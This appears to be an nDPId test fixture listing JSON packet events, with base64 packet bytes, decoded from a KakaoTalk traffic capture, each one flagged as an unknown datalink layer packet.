+00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1467,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":245703,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJn8WAbDJzfq2bw1Sapdo0lHGPn6WFVs0Q7dwKpvO3GDpvtmRDrcG2BdMEWDBbhkBC\/2nzxDQqG8umrUM3qAON3vf4uw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1467,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1468,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":267371,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ8AAEAAQBHaAwoYUrwByQGuKBxaBgCL5laAbDKrfq5tw1Sapdro98tpQVsCZfUuCPNH02m\/2sa9zPqQCktg4I7s+FzcWVojetyBRWmkNpbk7ezcdi0wgvma7lFpO0v\/6JuwIopAT\/Axnwv6u4K52TntnR19HlFFXwusSW3k44qO5Il\/oDXqRwtgU4YuQlcE+HUAbQqa1ZYXCQzl2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1468,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00609{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1469,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":272071,"pkt_caplen":225,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":225,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANEAAEAAHBH9qQHJAa4KGFK8WgYoHAC9Rj6AbE\/tiz46GguGVRkyhjyJfmFcyXy\/aJKozy5IenXvr4dHSmP\/lhRu4bYwRkOCKFrGaUOj1r7gqkZryhQaPm8qapRnOGjwLHBCufi\/vF76c31hyP4VdtWazHUXHS62mDMVfZe6NfIDs4sSikTBzwMu2mwHiU6NbamjzcFEr44QZ4bWehqJpkM8HUMZNCeyvC\/V346Yxt9rt5EJfQ3Dhupyq5scfNhLoEJ7Oms9rMSCnTIEjySj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1469,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1470,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":291327,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACg66EAAjgYtFq38egEKGFK8AbvLm\/Ii35zxwsMTUBSkcjKfAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1470,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00525{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1471,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":299384,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJAAAEAAHRH86gHJAa4KGFK8WgQsOAB81gOAbDJ0fq2fg1Sapdqsg2HBVe05NRC\/Kb4jo1Mq5HlC6gphp3KtW7zfp80F4o2pfCVgPT74RshhoeEUBWHj9fPDGnnYtcwnZSB39Nfn0s\/Zh\/2n1W2JMMgPI\/Oh+zyV1qipEYFluPWhbTsG9KifLpaESJ\/WZg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1471,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1472,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":300696,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL4AAEAAHBH9vAHJAa4KGFK8WgYoHACqiA+AbE\/uiz492guGVRmewpe5+N6Epf6KY3EmeTf9vtzD2v1gudewEK0MZCJTPRkLJHtSdQJ0PsCQBGDQ\/VAy7Xumbumg8mJMokQcQPHGqSxOO9+fzYvFS+b2rXFM87Yklp3x92LSmoVCJy41KyILna5tqZwlt3G\/jGLPhwdZtFu4p\/ERKQPU7JmRVEbyFcDPSRb\/ITBlfMhCOVOvDLOzCKht1WM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1472,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1473,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":308417,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKgAAEAAPxHa+goYUrwByQGuLDhaBACU8qeAbFAmiz8P2guGVRl1QrQc79+J72+AG9OJcCZ39H1SQNrm5FzPyCJPvn220OuiYo4oe96Abv8QbFJ07JAW+CqnKYP8WFm72zUCvCtZ1CQl\/JsXHsWsS1vYnt5JDKcBv0sWZLGzpIiKB7tx7SElYgAmEZ58NWH1CaX5ws+v\/BS7S5IkQfCfP1bFBtMVDQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1473,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1474,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":310431,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIYAAEAAQBHaHAoYUrwByQGuKBxaBgByZqWAbDKsfq5xg1SapdqsBsExUtd2AIAkTt2enAc0Z\/L7pOA9kCT8w4\/twQfkjl\/OoOBS9UlGTGSdr5z2iB8Nma0l5NNLP7nWrW7rRDT\/GpOg1jIFgMtoHm9LrGVJXxmWRRQRqXBIMQp94n2x"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1474,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00608{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1475,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":343390,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANAAAEAAHBH9qgHJAa4KGFK8WgYoHAC8nZKAbE\/viz5BmguGVRl\/gbwKxmqhr0+E8kwGDGIVLOOfMCpnFcRU6wwu8hWHwvH+s51uEELqdr+Ny+sBnPVxjSzBqVzdn723C0Ub7ltWQOf\/DPmJIUAY093UDznyjTwCdfEKXIAvc9zHRfXJXTty7FOHnwRn1udOSGp56I+IC2mJFxfPJ2sQGanSKjxtaylo\/xHy5rla+AqWmL4zK6ra7F3oViX06fFmha+o24yWFVIQpnZXn5w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1475,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1476,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":351813,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG8AAEAAHRH9CwHJAa4KGFK8WgQsOABbV0aAbDJ1fq2jQ1Sapdown8FYNEI7e\/eYWpBi\/Z4vjDxPhO6FghsSCyI0ZKjNoFM6CyFgpT4IdZfc2xhwUmeBFvYL2kBUWfmez7PR1qGSbTl7CPYdDw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1476,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1477,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":359595,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAGxH+\/AHJAa4KGFK8WgUsOQBqBQ+ByAAMVJql2gRWPG3l8w5hOwzoy9m2wROuAugBJqx5iNx7FJ02GyGvsIOD2bPTvUWQL0OmwzWT8TtbUF1kXKRhc5TuDE7J9Dm4r2uYi9gLbNEOgXWAAAAGz5aUe2fjPfiCzA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1477,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1478,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":379431,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGwAAEAAHRH9DgHJAa4KGFK8WgQsOABYmI6AbDJ2fq2nA1SapdrWs4T3QNoWuQ2eP1YWBmf2ex5qpeeABF0NBJAEi9aSo+X+6symXoCfEniM\/VCmhszSIrrGzw0F3NG5FSm+h2NXY4FlAg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1478,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1479,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":385382,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPUAKAbDKtfq51Q1SapdpiCDhx5Xi6EsVf56zcDKRqZJEqR79ksy62+YVry9ptBkx8rUYDDJ8toyOEPhxa1Io1AAjC1IIGcpUo6w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1479,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1480,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":410407,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ8AAEAAPxHbAwoYUrwByQGuLDhaBACLfn2AbFAniz8TmguGVRmAAhXXMVI0LfVJkhU1Fawv0zpsFGxQRx\/8GXw6xZwsFwRlTRQKCidnvbLeC1h\/E4PaA8Y1mjje4LvkcDGSecSHu1XUEX74AEWVn3nXsRpCj+nxGNPPIHehy5oDUiz10NWfuVnN1u7iVrbuqm1ygaIMlaFFnJvxGg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1480,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00519{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1481,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":410559,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAPxHbEwoYUrwByQGuLDhaBAB7ZSeAbFAoiz8XWguGVRmSKu1Szj+o6jjVr\/RXbcCgZib76JJ8+eqzPWjfb+5SkXlDvPq2Wl\/IRK0csR4DaPIptJyFg+zMprYw48nsvmesjImJnAq\/2LxqVSxmI+iKoFxHqD1FvZEgksUnqCx+Y9zolGtLJQ4D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1481,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00600{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1482,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":443396,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMoAAEAAHBH9sAHJAa4KGFK8WgYoHAC20DqAbE\/wiz5FWguGVRmsZO4PXZ2j9yFP4qEDQPXIuoWUtnEKEpiaKazpyJg8hYlFVbKIAWaN73f2ef+SGMlkExhl2x4PRFlwyRZncCkz8PbLF3CUZPRZI0ecQh5OZtjwYxzwl6wL9zxNGpa2vNao1\/jSMwb6LuSV3sJ0FWTyQ\/judsbl7JEjMH6DH5KZ\/3KMixdhYLXjnfVWf2Epf3YavUEgaCrciPY05r9mG5yxYik="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1482,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1483,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":446143,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZP5GAbDKufq55A1SapdoyHnX\/v8j1R62CkCyG3OYNW\/vx\/ptn6pb8psSV7jtiXLUyAnOFhh52IhZlFWv5HJwLm\/JxDtSJlOdiIEW33ZZhgEmuW8Q="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1483,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1484,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":484839,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBROyyAbDKvfq58w1SapdqQqhfDkATpK4udXORC3Td4R114NSoVuPAdmO8fr81hUza2IjEOhmKhKXeoEeN6LjTJtCWO\/5V2yhTuR\/CE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1484,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1485,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":499396,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKcAAEAAHBH90wHJAa4KGFK8WgYoHACTyOOAbE\/xiz5JGguGVRmUBIAOqvPkNjH+R1rE7pWpqJoAX3Qjcg9GbhvMx4dx98fG2ouesXHZ9f\/eWHq1oAm6Le0I1RNkLnH1i0P2rRV4497wu7\/r6DifH0+2JBIDzbtAtWhfkN5KHRT1XgifwpbW2hWgCrHF8CyfYoW8JJQiiHRLRnevjlZMKHBT9dbY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1485,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1486,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":514411,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVJ2KAbFApiz8bGguGVRkUjPTebOA7Mt3tkeCWxW76LvkXxMuEKju27dgoX14aYMna1KfB+DvYXeZnZSgwxNVziE6SBQjkeHB1qjRmepgHmg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1486,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1487,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":514563,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABK9E2AbFAqiz8e2guGVRnqDfiVAWuH7szeMi6Nn6BAKPBaAHS5VbSgdlf7\/0VTNRCqWqXS39ZlHw2QRYLTH\/oEGMLo6kg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1487,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1488,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":551459,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGoAAEAAHRH9EAHJAa4KGFK8WgQsOABWj76AbDJ3fq2qw1SapdrlxATjMSWeUY53aSRiElKtcAieiKYxsTBFtn\/yWyQ3dkPH5Jt1chReO54gIKM4Zs8h3jmV6fNY436JTM2tc4Iv3EI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1488,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00593{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1489,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":579535,"pkt_caplen":211,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":211,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMMAAEAAHBH9twHJAa4KGFK8WgYoHACvMHuAbE\/yiz5M2guGVRm93SylDwF3ksO8izCp6axIx7Mn4iGwgIDjKSkDgUQ+Yupgkv7mP9o82vT\/xhPHS8eAbim2jNnPHqcQdhNOI2zdBpyZlWq9p1+28kOS847aUATlQWdctKPOrx9OdpyuPh7F9MgwOI6ShKVj7tgjq8FX\/okoIJH+wY\/44SGd8oQ1G4EYBaPoTuc2f+KFHIrzr\/WjyW4t8LUyjf0+Jw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1489,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1490,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":581946,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLy5+AbDKwfq6Ag1Sapdrjs1g24w8v1LM\/aCYg+R70NSNKVS4TyYL8DeOYS6msCZWmtIn3HzjTm9561VgXRCk6dFDo7ogF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1490,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1491,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":607367,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKrmSAbFAriz8imguGVRlX\/+3DCjnvW2zuhMa8AhXMYuO5mx11l6qe5w38j8T6uSTuPpTqQB4CKcclbhFSS4XWpQGTj3U="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1491,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1492,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":617560,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAQBHaNwoYUrwByQGuKBxaBgBXeOyAbDKxfq6EQ1Sapdppmikl+59aEWkaFFRmDZe29U9722ffBcuikLB1+IvLL2vREoYZ4uITyp7lvCkO3R0grbhS+UlLVtm\/ZGC+HiEEc227"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1492,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1493,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":653174,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKcAAEAAHBH90wHJAa4KGFK8WgYoHACTfYWAbE\/ziz5QmguGVRldY5SQCS8X2yVWZ3ChXemYDQEOMRUQpv\/66kl3X3z9rjqAOKoF7DUbTsFq+CSBnjGZiCYgkPv1BBaYlN13zD1vqtFy\/1CYzphFqTqjVKyBvD4uAEyILD5XGEK1CsUL6j0614iSMu9opWxZ\/CnKqh8BpdhSKkSoRDTSkZp+URAY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1493,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1494,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":658972,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGeK2AbDKyfq6IA1SapdpFVjmqxLoohzeHMWWA0CP4BMgImpf5Iaq8+ElZe\/vxO1wCQU12ERUu+VEo26tXRV4ACQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1494,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1495,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":679297,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGRQCAbDJ4fq2ug1Sapdog8L62E0Fqidr3oIpPQf2fOkTYH6N0vCZTsfoQ8cLuedJF07yIb0bF3psABrex9M4zIg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1495,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1496,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":699347,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLmkWAbDJ5fq2yQ1SapdpqZVe1D1NcrHJJZ5EmLRZb5Dd5evE3zWxfVT32SoWcCGGnFG4dqvMx9bp+gjSH6BKvTq07fD3L"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1496,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1497,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":710547,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJSrCAbFAsiz8mWguGVRkvy2vHUbz7SvnPamh\/jqdQ5U14jAFM+ZXp\/9JaTXZ6O+vo\/bO0XlZyUdkCyA8Gqhn8mj8OXQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1497,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1498,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":710700,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJlaqAbFAtiz8qGguGVRk4qkeGjuSFq9\/xWwFKQGaL8JQMnsgmKbIKnALuzHUXmdODq+tXU+pNvBEsBR3gdVZSfkKWag=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1498,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 